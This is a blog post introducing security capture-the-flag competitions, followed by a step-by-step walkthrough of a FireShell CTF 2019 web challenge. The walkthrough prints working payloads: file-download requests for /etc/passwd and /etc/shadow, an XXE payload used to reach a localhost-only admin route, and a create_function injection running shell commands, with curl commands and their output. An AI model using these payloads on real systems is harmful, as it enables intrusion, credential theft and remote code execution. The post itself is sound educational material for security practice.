See blog Menu
Introduction to Security Capture the Flag competitions

lenin.alevski | April 23rd, 2019


According to wikipedia, a CTF (short for Capture the Flag) is a type of computer security contest involving competitors trying to solve multiple challenges to get “flags” and earn points. Flags are usually a set of random characters called strings hidden at each stage and they serve as proof that somebody solved that particular level.

CTFs can be played alone or with a team and the main goal is to serve as an educational exercise to give participants experience in attacking or defending software and sometimes even hardware. This is a great way for people to explore security, IT and to practice hacking in a safe and legal environment.

Basically there are two types of CTF competitions: Attack, Defense and Jeopardy.

Attack/defense competition

Attack/defense Capture the Flag competition in action

In the attack/defense competition, each team is given a machine or a small network to defend. Each team needs to quickly patch/fix any vulnerable service on their own machines while at the same time attacking other teams. Every competition has different rules, but, in general, teams earn points for every successful attack or defense. Two of the more prominent attack/defense CTFs are held every year at DEFCON, the largest hacker conference, and the NYU-CSAW (Cyber Security Awareness Week), the largest student cyber-security contest.

Jeopardy competition

Jeopardy Capture the Flag competition categories

Jeopardy competitions are more friendly for beginners. instead of having teams attacking each other, they are trying to solve series of security related puzzles under different categories. This doesn’t necessarily mean challenges here will be easier, but you will have the flexibility to choose which task to solve and the order in which you want to try them. Most popular categories under Jeopardy competition include:

  • Reverse Engineering
  • PWN
  • Crypto
  • Forensics
  • Web
  • Misc

This article is going to focus on describing each one of those categories and look at an example of a web security challenge.

Reverse Engineering

Usually these types of challenges are presented with a binary file which is a program you can download and execute locally. These programs implement an algorithm that checks a user input key. To understand the program, you will need to perform low level analysis on the binary (because you don’t have access to the source code) using tools like disassemblers and decompilers. Once you understand the implemented algorithm, you can deduct the correct input key (which is usually the key) and solve the challenge. This is a very popular CTF category and because of that there are complete CTFs dedicated just to this topic.

PWN

This category is very similar to the previous one. Besides getting only a binary file to analyze, you will also get a server running that binary. The goal is simple: do reverse engineering on that file, understand how it works and develop an exploit to get access to the flag on the server. Sounds easy but it’s not. This category is one of the most exciting ones but also one of the hardest to master. If you decide to get into this category you will need to learn about low level vulnerabilities like buffer/heap overflows, format strings vulnerabilities and memory corruption.

Crypto

Cryptography CTFs focus on the math part of computer science. The main goal is to break a cipher. The complexity of this challenge could range from basic caesar/substitution ciphers to more advanced stuff like attacking the RSA encryption algorithm. If you want to be good at this category you need to be up to date with the research and papers from this field. You should also be familiar with openssl and encryption protocols.

Forensics

Forensics challenges are fun because at some point you need to think like a detective. Usually this challenge requires you to recover information from corrupted files, analyzing file headers, file systems, servers and logs. metimes taking a look at network traffic from pcap files is very common. Knowledge of a scripting language for manipulating binary data (ie: Python) is expected. Also recognizing file formats (magic numbers), protocols, and encryption algorithms are useful abilities if you are interested in this CTF category.

Web

This is one of the most popular categories in CTFs and hacking in general. Challenges here require knowledge of common web technologies such as HTML, Javascript, some programming languages like PHP or even knowing how HTTP works in general. In most cases, you will need to exploit a web application using some basic vulnerabilities. XSS (Cross Site Scripting) and SQL injection are the most common, but things can get more complicated if the challenges include advance hacking techniques such as OOB SQLi (Out of band out of band sql injection), command injections (RCE), and SSRF. Basically everything that involves a web server is going to appear under this category.

Misc

Short for miscellaneous. Basically everything else that is not already listed, the misc category might include coding and algorithms exercises, OCR (Optical character recognition), linux/windows commands and basic knowledge of Internet culture, etc. In general, this category is intended for you to learn more about the hacking culture and get some extra points.

All right, after the friendly introduction on CTFs now is the time to show some action, I’m going to describe step-by-step a web challenge I solved in January on the FireShell CTF 2019.

Web CTF Bad Injection

The challenge starts by giving us an IP address running a web server on the Internet: http://68.183.31.62:94

Challenge: Bad injections There is nothing interesting in the website besides a section called List, this section displays an image with an interesting URL.

Bad Injection challenge image

<div class='ui center aligned container'>
 <img src="download?file=files/1.jpg&hash=7e2becd243552b441738ebc6f2d84297" height="500"/>
 <img src="download?file=files/test.txt&hash=293d05cb2ced82858519bdec71a0354b" height="500"/> 
</div>

The resources are loaded using some kind of downloading script. The download script receives two parameters: file and hash. The hash corresponds to the hashed version of the value of the file parameter.

This looks like a code disclosure vulnerability, so we start by trying to download the index.php file:

http://68.183.31.62:94/download?file=index.php&hash=828e0013b8f3bc1b

And the result is:

<br />
<b>Notice</b>:  Undefined variable: type in <b>/app/Controllers/Download.php</b> on line <b>21</b><br />
<?php
ini_set('display_errors',1);
ini_set('display_startup_erros',1);
error_reporting(E_ALL);
require_once('Routes.php');
 
function __autoload($class_name){
  if(file_exists('./classes/'.$class_name.'.php')){
    require_once './classes/'.$class_name.'.php';
  }else if(file_exists('./Controllers/'.$class_name.'.php')){
    require_once './Controllers/'.$class_name.'.php';
  }
 
}

In the above code we notice two things:

  • The location in the server were the application lives is /app
  • Some references to Routes.php file.

We proceed to download the file.

http://68.183.31.62:94/download?file=/app/Routes.php&hash=b1146e09263e0aae856ff66a57968211

The Routes.php file is huge but there are two route functions that seems interesting.

Route::set('custom',function(){
  $handler = fopen('php://input','r');
  $data = stream_get_contents($handler);
  if(strlen($data) > 1){
    Custom::Test($data);
  }else{
    Custom::createView('Custom');
  }
});
 
Route::set('admin',function(){
  if(!isset($_REQUEST['rss']) && !isset($_REQUES['order'])){
    Admin::createView('Admin');
  }else{
    if($_SERVER['REMOTE_ADDR'] == '127.0.0.1' || $_SERVER['REMOTE_ADDR'] == '::1'){
      Admin::sort($_REQUEST['rss'],$_REQUEST['order']);
    }else{
     echo ";(";
    }
  }
});

The custom route receives some request body and if the length is greater than 1 calls the Test function from the Custom class.

The admin route can receive two parameters, rss and order. If both exist then a validation happens. The validation checks if the request comes directly from 127.0.0.1 which is localhost. If this is true then the sort function from the Admin class is called.

Here are some other Interesting files I downloaded based on what we learned from the index.php file.

http://68.183.31.62:94/download?file=/app/Controllers/Custom.php&hash=55fdef99c788af643d2676ac21ada5f4
http://68.183.31.62:94/download?file=/app/Controllers/Admin.php&hash=42c58ba0a247b5c76bce27387e90b99f
http://68.183.31.62:94/download?file=/etc/passwd&hash=c5068b7c2b1707f8939b283a2758a691
http://68.183.31.62:94/download?file=/etc/shadow&hash=2fe8599cb25a0c790213d39b3be97c27
http://68.183.31.62:94/download?file=/app/Routes.php&hash=b1146e09263e0aae856ff66a57968211

We start looking at the Custom.php and Admin.php controllers, the Custom class looks like this.

class Custom extends Controller{
  public static function Test($string){
      $root = simplexml_load_string($string,'SimpleXMLElement',LIBXML_NOENT);
      $test = $root->name;
      echo $test;
  }
}

The Test method receives a string which then is parsed as an XML, the resulting object should contain a name attribute that is printed back to the user. The Admin class looks like this.

class Admin extends Controller{
  public static function sort($url,$order){
    $uri = parse_url($url);
    $file = file_get_contents($url);
    $dom = new DOMDocument();
    $dom->loadXML($file,LIBXML_NOENT | LIBXML_DTDLOAD);
    $xml = simplexml_import_dom($dom);
    if($xml){
     //echo count($xml->channel->item);
     //var_dump($xml->channel->item->link);
     $data = [];
     for($i=0;$i<count($xml->channel->item);$i++){
       //echo $uri['scheme'].$uri['host'].$xml->channel->item[$i]->link."\n";
       $data[] = new Url($i,$uri['scheme'].'://'.$uri['host'].$xml->channel->item[$i]->link);
       //$data[$i] = $uri['scheme'].$uri['host'].$xml->channel->item[$i]->link;
     }
     //var_dump($data);
     usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
     echo '<div class="ui list">';
     foreach($data as $dt) {
 
       $html = '<div class="item">';
       $html .= ''.$dt->id.' - ';
       $html .= ' <a href="'.$dt->link.'">'.$dt->link.'</a>';
       $html .= '</div>';
     }
     $html .= "</div>";
     echo $html;
    }else{
     $html .= "Error, not found XML file!";
     $html .= "<pre><code>";
     $html .= "<pre>";
     $html .= $file;
     $html .= "</pre>";
     $hmlt .= "</code></code>";
     echo $html;
    }
  }
 
}

That it’s! the sort function uses the create_function method internally, the create_function method is very similar to the eval method in PHP, meaning if we can reach that part of the code, essentially we can achieve code execution on the server. Now the problem is how to do that since this function can only be called if the request is coming from localhost.

Remember the Test function accessible via the /custom path? That’s our way in! This function receives some input and then parse it as XML. We can take advantage of this vulnerable parser and exploit a vulnerability called XML External Entity (XXE) Processing which essentially allows us to load remote (or internal) resources.

I’ll explain this in the following example, on a command line we start by defining some variables so it’s more easy to work.

$ url='http://68.183.31.62:94/custom'
$ xml_content='<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY test SYSTEM "php://filter/convert.base64-encode/resource=https://www.google.com">]><root><name>&test;</name></root>'
$ curl --request POST --url "$url" --header 'cache-control: no-cache' --header 'content-type: application/xml' --data "$xml_content" | base64 -d

In the second line we are defining our XML payload. We are trying to load an external resource inside the DOCTYPE tag and we are saving the response on a “variable” called test (wrapped by root and name tags), then we are doing a post request to the vulnerable service. If you are wondering why do we need &test; in the XML body that’s because our payload will be handled by:

$root = simplexml_load_string($string,'SimpleXMLElement',LIBXML_NOENT);
$test = $root->name;
echo $test;

The simplexml_load_string is going to process our input and then return an object. That object is expected to have a name attribute which is stored in the $test variable and then printed to the user. We are essentially using this vulnerable service as a proxy.

Capture the Flag

Now, instead of querying https://www.google.com, we are going to do a request to http://68.183.31.62:94/admin?rss=SOME_URL&order=PAYLOAD and since the IP address of the server is the same IP of the client making the request (localhost) boom! We just bypassed the admin validation and now can reach the vulnerable sort function in the Admin controller.

Capture the Flag competition

Exploiting the create_function call was a little bit tricky at the beginning it required some work crafting the PHP payload in a way the final result was valid php code without any syntactic error.

According to the PHP documentation, this function receives two string parameters:

  1. the first one is the parameters
  2. and the second one is the actual code of the function we want to generate.

The sort function receives two parameters, $url and $order, we control both of them but the important one is $order because it’s going to be replaced in the string of the second parameter of the create_function function.

After some thinking I came with this payload, I’ll explain why.

$order = id, null) && die(shell_exec('ls -la /')); ($aaa="

The original piece of code looks like this.

usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));

When I replace the $order variable with my payload at runtime the final code will look like this.

usort($data, create_function('$a, $b', 'return strcmp($a->id, null) && die(shell_exec('ls -la /')); ($aaa=",$b->id, null) && die(shell_exec('ls -la /')); ($aaa=");')); 

Maybe I over complicate things but I remember having some issues with single, double quotes and parentheses. Anyway, the result is valid PHP code, the ($aaa=” thing at the end is important because it allows us to wrap the rest of the code, everything after the shell_exec function will be ignored.

Note: Since I had access to the source code I did several tests on my local environment so once I got a working payload I was able to put an exploit together, I needed to encode first the code into the xml before sending the post request.

Putting everything together looks like this.

$ url='http://68.183.31.62:94/custom'
$ xml_content='<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY test SYSTEM "php://filter/convert.base64-encode/resource=http://localhost/admin?rss=https%3A%2F%2Fwww.website.com%2Fpath%2Fxxe.xml&order=id%2C%20null)%20%26%26%20die(shell_exec(%27ls%20-la%20%2F%27))%3B%20(%24aaa%3D%22">]><root><name>&test;</name></root>'
$ curl --request POST --url "$url" --header 'cache-control: no-cache' --header 'content-type: application/xml' --data "$xml_content" | base64 -d
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  2197  100  1892  100   305   6348   1023 --:--:-- --:--:-- --:--:--  7347
total 116
drwxr-xr-x   1 root root 4096 Dec 26 18:10 .
drwxr-xr-x   1 root root 4096 Dec 26 18:10 ..
-rwxr-xr-x   1 root root    0 Dec 25 23:47 .dockerenv
drwxr-xr-x   1 root root 4096 Dec 25 23:50 app
drwxr-xr-x   1 root root 4096 Dec  4 15:47 bin
drwxr-xr-x   2 root root 4096 Apr 10  2014 boot
-rwxr-xr-x   1 root root 1122 Feb 15  2016 create_mysql_admin_user.sh
-rw-r--r--   1 root root   31 Dec 26 03:34 da0f72d5d79169971b62a479c34198e7
drwxr-xr-x   5 root root  360 Dec 25 23:47 dev
drwxr-xr-x   1 root root 4096 Dec 25 23:55 etc
drwxr-xr-x   2 root root 4096 Apr 10  2014 home
drwxr-xr-x   1 root root 4096 Feb 15  2016 lib
drwxr-xr-x   2 root root 4096 Jan 19  2016 lib64
drwxr-xr-x   2 root root 4096 Jan 19  2016 media
drwxr-xr-x   2 root root 4096 Apr 10  2014 mnt
drwxr-xr-x   2 root root 4096 Jan 19  2016 opt
dr-xr-xr-x 331 root root    0 Dec 25 23:47 proc
drwx------   1 root root 4096 Dec 26 18:10 root
drwxr-xr-x   1 root root 4096 Feb 15  2016 run
-rwxr-xr-x   1 root root  549 Feb 15  2016 run.sh
drwxr-xr-x   1 root root 4096 Jan 19  2016 sbin
drwxr-xr-x   2 root root 4096 Jan 19  2016 srv
-rwxr-xr-x   1 root root   67 Feb 15  2016 start-apache2.sh
-rwxr-xr-x   1 root root   29 Feb 15  2016 start-mysqld.sh
dr-xr-xr-x  13 root root    0 Jan 26 19:06 sys
drwxrwxrwt   1 root root 4096 Jan 27 03:30 tmp
drwxr-xr-x   1 root root 4096 Feb 15  2016 usr
drwxr-xr-x   1 root root 4096 Feb 15  2016 var

The flag was inside the da0f72d5d79169971b62a479c34198e7 file, so we just cat the file and got the solution: f#{1_d0nt_kn0w_wh4t_i4m_d01ng}

And that’s it! This was a fun CTF to play. We also learned a lot on how a vulnerable XML parser can lead to XXE and what are the implications for that security vulnerability.

Happy hacking.


OneLogin blog author

Lenin Alevski is a Full Stack Engineer at OneLogin. Before joining OneLogin, Lenin worked at Oracle and Websec Mexico as a security consultant and penetration tester, then joined Freeagent crm as founding member in the engineering team. He is very passionate about privacy, CTFs, blockchain and home automation. He also enjoys giving talks and workshops about security in many events and local universities. Follow Lenin on Twitter @alevskey.